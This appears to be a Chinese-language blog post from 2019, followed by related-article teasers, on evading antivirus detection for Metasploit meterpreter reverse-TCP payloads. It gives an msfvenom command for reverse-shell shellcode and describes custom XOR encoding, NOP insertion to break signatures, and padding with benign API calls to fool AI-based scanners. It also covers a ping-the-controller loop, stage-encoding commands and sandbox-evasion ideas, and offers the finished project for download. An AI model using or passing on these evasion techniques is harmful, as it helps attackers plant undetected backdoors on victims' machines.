浅谈meterpreter免杀

作者: 蚁景科技 | 来源:发表于2019-01-28 13:39 被阅读61次

前言

最近玩了玩免杀,学习了很多免杀的技巧,免杀基本就那么几个套路,静态文件特征码免杀,内存特征码免杀,行为免杀,流量免杀等等等

正文

首先用msfvenom生成一个payload,msfvenom–p windows/meterpreter/reverse_tcp lhost=yourip lport=yourport –fc

以下是我们meterpreter的原型,首先我们把shellcode复制到新申请的可执行的内存区域中去,然后把指针转换成函数指针然后执行就ok了。

这个原始的meterpreter是很不理想的

丢到virustotal会发现70个杀软有22个都能检测出来,我们现在把shellcode编码一下,我们不使用msf自带的编码器,况且msf自带的编码器不止会给shellcode编码,还会把解密代码放到shellcode前面,所以说编码的时候很受限制,我们如今编码的话,shellcode在我们手中,我们只需要把解密代码实现就好了,不需要放到shellcode里,没有这样那样的限制,就可以想怎么搞怎么搞了,并且我们不用公开的编码方式的话,就更好了,比如把shellcode对应的每个字节都加一,或者异或加密,这样就可以实现静态特征码免杀了,但是加载到内存里解密以后还是会被杀毒软件找到特征码,于是我想了一个办法,可以在每句汇编代码中插入一个不影响堆栈平衡的nop指令,来实现”隔断”特征码,如下是我用python写的脚本,大致逻辑就是先获取跳转指令的跳转目的地,然后在跳转目的指令处加上标号,再把跳转指令都改成跳转到标号的这种形式,再插入nop指令,再进行编译,这样可以省了校准跳转地址的好多时间,脚本如下,大哥们可以自取。用这个脚本把shellcode处理完就会发现,报毒的杀软少了好几个,并且之前defender识别出的meterpreter字眼没有了。

运行后复制unsignedchar数组

然后对应vs2010里建立工程,源代码如下

里面的memcpy我用一个for循环来替代,通过函数指针调用函数我用push和ret来替代

自习观察扫描的结果会发现,不仅之前defender识别出的meterpreter字眼没有了,而且好多AI的杀毒软件从一开始就在,现在还在,于是考虑在入口点处增加一些正常的逻辑,增加一些其他API的调用,来”误导”AI杀软的模型,我们可以尽情的加没用的逻辑,多引入病毒不常用的API函数。正好可以通过加上一些我们想要的功能比如说循环ping我们的主控端主机,等到ping通再连接,这样可以减少失误率,我在原来代码的基础上加上了一个循环ping的功能,工程文件我打包到了百度网盘,大哥们有需要的可以自取。

链接:https://pan.baidu.com/s/1stxH3EaXtUsksZjRvtLEkg       

提取码:jorf

还有就是我们的meterpreter肯定不希望到了某个人电脑上运行缺少运行时库,那就在配置属性里把运行时库改成MTd,这样编译器就把依赖放到我们的exe里了。

最后扔到virustotal上扫描一下发现只剩一个杀软可以检测出来了

最后像windowsdefender这些是会检测流量的,所以再加一个stageencoder,现成的拿来用就好了

在msf里输入以下命令就ok了

setEnableStageEncoding true

setStageEncoder x86/shikata_ga_nai

还有就是沙箱检测,沙箱检测的话,无非就是一些hookapi,各种hook,获取你的堆栈参数啥的,这些都是在运行时的检测,所以我们可以检测沙箱,如果有沙箱的存在,我们就不进入执行shellcode的逻辑,还有就是分支遍历,这个是我猜测的,不知道有没有,就是说就算我们不进入执行shellcode的逻辑,杀软也会通过分析反汇编代码遍历每个跳转分支,这个可以通过动态生成跳转的反汇编代码来绕过,在生成之前他根本不知道我们要跳到哪里,就可以绕过他的分支遍历了,这些关于沙箱和分支预测的猜测还没有通过实验来绕过和证实,只是想法,我进行研究后会继续更新,欢迎大哥们与小弟交流。


本文仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。本文为原创文章,转载请注明出处!

相关文章

  • 浅谈meterpreter免杀

    前言 最近玩了玩免杀,学习了很多免杀的技巧,免杀基本就那么几个套路,静态文件特征码免杀,内存特征码免杀,行为免杀,...

  • 浅谈免杀技术

    完美的免杀方法到目前为止,要实现恶意软件的“FUD”,加密恶意代码被认为是个不错的选择,不过有几点要注意:1.恶意...

  • 木马免杀之源码免杀|断刀流技术博客

    源码免杀 在业内也被称为“白盒免杀”,与通常的修改二进制代码的“黑盒免杀”想对应。随着免杀技术与反病毒技术的不断博...

  • 杀毒与免杀技术详解之三:特征码免杀实战

    杀毒与免杀技术详解之三:特征码免杀实战杀毒与免杀技术详解之二:特征码定位-工具及原理

  • 免杀基础

    (本文源于转载或摘抄整理):首先是免杀的概念一、什么是免杀 免杀,也就是反病毒(AntiVirus)与反间 谍(A...

  • 木马免杀之特征码跳转免杀360|黑客技术流

    木马免杀的方法有很多种,最为基础的木马免杀方法就是修改特征码来免杀,今天就来谈一谈特征码跳转法,其实这个方法原理也...

  • msf 系统shell升级meterpreter shell

    成功拿到的系统shell,如何升级meterpreter shell?系统shell模样: meterpreter...

  • 『免杀系列』免杀技术(1)

    日期: 2021-03-18作者: Mr-hello介绍: 免杀,一个老生常谈的领域,但是当你真正了解之后,你会发...

  • MYCC实战定位特征码|黑客技术流

    木马免杀是一门技术活,要想把木马免杀做好,那么扎实的基本功是必不可少的。今天就来给大家介绍一下木马免杀中常用到的一...

  • 免杀powershell 绕过杀软

    免杀powershell 绕过 小白看了各种大佬做的免杀文章感觉太神奇了,于是自己也做了一个………….有点low,...

网友评论

    本文标题:浅谈meterpreter免杀

    本文链接:https://www.haomeiwen.com/subject/darajqtx.html